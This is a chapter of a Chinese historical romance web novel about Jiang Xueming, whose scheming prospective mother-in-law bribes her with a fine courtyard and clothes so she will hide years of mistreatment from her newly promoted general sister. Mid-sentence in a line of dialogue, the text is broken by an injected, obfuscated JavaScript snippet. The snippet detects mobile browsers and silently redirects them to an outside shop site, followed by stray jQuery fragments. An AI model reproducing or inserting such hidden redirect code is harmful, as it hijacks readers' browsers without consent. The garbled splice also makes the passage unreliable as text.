萧夫人也不惺惺作态了,索性直言,“你知道你的阿姐回京了吗?”
萧夫人的话轻如夏风,缓缓抚过平静的湖面激起点点涟漪,随后愈滚愈烈变成惊涛骇浪撞在江雪明的心头。
“阿姐回来了?”江雪明开口时唇瓣还在颤,鼻尖发酸,眼眶不知不觉蓄上一层泪。
八年来的期盼终于成真了吗?
她不敢想下去了,怕这一切不过只是泡影。
可萧夫人接下来的话,恍如拨云见光。
“你的阿姐不仅回来了,如今更是陛下亲封的燕云将军,是天子近臣。”萧夫人告诉她。
此话一出,两人身形一滞,谈月最先反应过来。
她看向江雪明,再细想萧夫人今日的反常之举,恍然大悟,“大小姐成了大将军,小姐便是将军府的二小姐,地位今非昔比。”
她兀地转向萧夫人,“你们是看大小姐飞黄腾达了,所以来讨好我们家二小姐。”
江雪明闻言也回过神来,眼神复杂的看着萧夫人一行人。
萧夫人也不打算继续虚与委蛇下去,直截了当开口,“你阿姐是女子,你也是女子,你应当知道你阿姐能走到今日这一步付出了多少。”
江雪明听出来她话里有话,蹙眉道,“夫人有话直说。”
萧夫人冷嗤一声,又变回了以往的刻薄,“你与我萧家有婚约,你若是将萧府的事尽数告诉你阿姐,到时候出了事第一个为难的就是你阿姐。你阿姐一个女子手握兵权,朝中不满之人多了去了,都在盯着你阿姐,就等你阿姐出事再趁机夺了她手里的权。”
说着,她走上前勾唇凑近,贴着江雪明的耳畔,声声低语,“想想你阿姐八年的时间拿命走到现在,你也不想让她因为你就功亏一篑吧。”
言毕,萧夫人直起身子,转身朝后头的下人吩咐,声音微扬,“将江二小姐的东西都搬到留春院。”
留春院,是萧府最好的院子,依山傍水,山水如画,景色宜人,这院子本是想等着萧见安成婚之后再搬进去,若非江雪明这个变数萧夫人定是这辈子都不会让她住进去的。
萧府下人手脚麻利,加上江雪明东西本就不多,搬起来也算得上轻快。
下人们陆陆续续进屋,动静很大,可江雪明一直沉浸在方才萧夫人说的话,久久没有挪动,她被关在深宅后院太久,可她不傻。
她听得出来萧夫人话外之意。
他们都不想让自己告诉阿姐这些年萧府是如何待她二人的,他们害怕阿姐的报复,如今萧府虽是新贵,可再怎么样在一位大将军面前还是要谨小慎微,更何况还是陛下器重之臣。
如果告诉阿姐,阿姐一定会气恼去解了这桩婚事,然后报复萧家。
可萧夫人的意思已然摆在了明面上,上京城有很多看不惯阿姐的人一直在盯着她,等着她出错好夺了她的权。
八年的时间当上大将军,这其中的苦她从未经历过,心里却也知晓要想做到这一切要付出多少,更何况阿姐还是以女子身做到这一切,要是因为自己失去了这一切,那她一定会恨死自己。
想到这,江雪明闭上眼,从门缝泄进来的熹光洋洋洒洒落在她如玉般的小脸上,眼底满是化不开的忧愁。
谈月也看出来了她的担忧,不自觉地也紧张起来,她压低声音开口,“小姐,你当真......”
话还没说完,就被一道催促的声音打断。
“江二小姐,请吧。”管事的站在门外,侧着身子看似恭敬,语气含着一丝不易察觉的不耐。
萧府的院子比八年前还要大还要华丽,满园子的杏花,梨花,还有桂花,名贵之花亦不在其少数。
一踏进,满腔冗杂着各异花香,没有想象中的沁香怡人,反倒有一种五味杂陈难以言语的刺鼻气味,可偏偏素来爱香的萧夫人没有任何察觉。
以往萧崇不是没有提及满园的杂香,可萧夫人偏固执己见的认为这是华贵雍容的象征,任凭旁人怎么说都不舍得摘掉。
萧崇最后也拗不过她,只得随她去了。
踏入留春院,满院子的花藤,往里头走入目的便是一处兰花台,蝴蝶翩翩落在花蕊处,山亭水榭,美景醉人,芳香沁鼻。
满园的生机盎然,枝绿花茂,确实美的让人移不开眼,也难怪萧夫人从不让任何人住进来。
走进内室,萧夫人拍了拍手,随后两排婢女如潮水般涌入,手中端的是各类华服,还有满是珠宝,镶金的珠翠,还有女儿家常用的胭脂水粉。
看得出来萧家为了瞒过江同舒是下了多少血本,又是宅院,又是衣裳首饰。
换做以往,她们也不过是用挑剩下的罢了。
萧夫人走到一个婢女面前,随手拿起一件桃粉色衣裙在江雪明面前比划了几下,目光上下打量,心里头还有些诧异。
原本想着这丫头身形瘦小撑不起这衣裙,没想到脸长得不错,桃粉色的衣裳衬的人也娇俏了几分。
萧夫人将衣裙放了回去,又拿起旁的首饰衣裳随意比划了一番。
许是萧夫人的目光过于直白刻薄,江雪明浑身不自在。
“行了,明日记得打扮的艳丽一些,省的你阿姐觉得我们萧家亏待了你。”说罢,她将手里的东西都塞了回去。
“东西都放下吧。”萧夫人最后吩咐了一句,随后带着一众家仆离开了留春院。
谈月见人都走了,又小跑至门前最后瞧见他们的身影消失在远处,将门轻轻关上后又走到江雪明身边,神色着急,“小姐,萧家这是明摆着在用大小姐威胁您啊。”
江雪明缓缓坐了下来,垂下眼帘,声音低迷,“我自然是知道的,但我们别无选择谈月。”
说着她抬眼看向了谈月,一滴泪从眼角缓缓落下,顺着脸颊滴在了交叠在衣摆上的手背。
“谈月,我不想阿姐因为我失去了她拼了命得来的一切。”
“小姐.....”谈月心疼的拿出帕子擦净了她眼角的泪,“可是小姐,咱们不说大小姐就不知道,万一以后萧家变本加厉怎么办?难不成您真的想嫁给萧见安那个
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17634080|206502||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
混蛋吗?”
听到最后一句,江雪明垂下来的眼睫狠狠颤了颤。
想到萧见安她心里尽是排斥之感,她不喜欢萧见安,不仅是男女之情上的不喜欢,还有对他这个人的厌恶。
说起萧家与江家的婚事,早些年江父在外征战偶然救下了南下省亲的萧爷爷,两人年岁隔得远却相见恨晚。
一夜醉酒,两人感性上头,一句话一股气就定下了两家的婚约。
彼时的萧家还不是如今的朝中新贵,不过也是个低品小官,两家也算是门当户对。
等两人清醒之后,萧爷爷倒是乐的高兴,反倒是江父有些懊恼,他本就不愿这般草率随意定下自家两个女儿的婚事,可他向来是信守承诺之人,还有萧爷爷一直在他耳畔唠叨,他再怎么不愿也得应下了。
后来回了家,江父说起这事可是遭了江母一顿揍,连续大半月都没给过他好脸色。
可说出去的话便如泼出去的水,无论再怎么后悔都得咬着牙应下。
江同舒年岁比萧见安大一些,人家自是不乐意的,小小的萧见安撒泼打滚如何都不愿意和江同舒定亲。
最后便定下了江雪明和萧见安的婚事。
可这些年她在萧府生活,没少受到萧见安的欺负和嘲讽,他还是个不堪大用的纨绔废柴,要不是偌大的萧家只有他一个男丁,又是萧夫人亲生,换做旁人早就同他断绝关系被赶出去了。
可她偏偏就是跟这个没用的家伙定下了婚约,这些年江雪明亲眼见他整日流连花柳之地,欺男霸女,逃学打架什么混账事都做过,每每想到自己和这种人有婚约就下意识反胃。
“无论如何都不能连累了阿姐。”江雪明认命般开口,忽地朝谈月那个方向抬眸,语气认真“谈月你也不能告诉阿姐,明白了吗?”
谈月有些为难,可触碰到江雪明眼底的倔强,她还是忍了下来,奴婢明白了。”
上京城夏日的花开的是最好的,百花齐放,争奇斗艳,女子发髻中也开始簪起了花簪,显得人娇而不艳,清丽脱俗。
最热闹的当是西街,多的是走街贩卒,争相吆喝拉客,望行桥下溪水潺潺,灰绿青苔爬满了桥洞下,争先恐后的冒头。
街口处,一辆马车缓缓出现,车后头跟着两队肩担扁担身穿便衣的脚夫,声势浩大,引的行人纷纷注视。
明春掀开车帘,瞧了眼路程又松开帘子坐回去,“将军,快到萧府了。”
江同舒正撑着太阳穴闭目养神,只有明春看出来她沉稳皮下的紧张无措,毕竟姐妹二人八年未见,两人分离时江雪明还很小,现在长大了会不会还和从前一样。
车外头的喧闹让面前人忍不住睁开眼,车内沉香萦绕在鼻尖,此香还是陛下赏赐的引鹤降真香,极其名贵珍稀,有静心安神之效,平时江同舒都叫人收进了库房从不拿出来用。
今日为了接二小姐回府可谓是费了不少心思,马车后头的一箱箱宝物,象征将军府的马车,甚至就连营中亲兵都带来了,可谓是给足了二小姐回府的派头。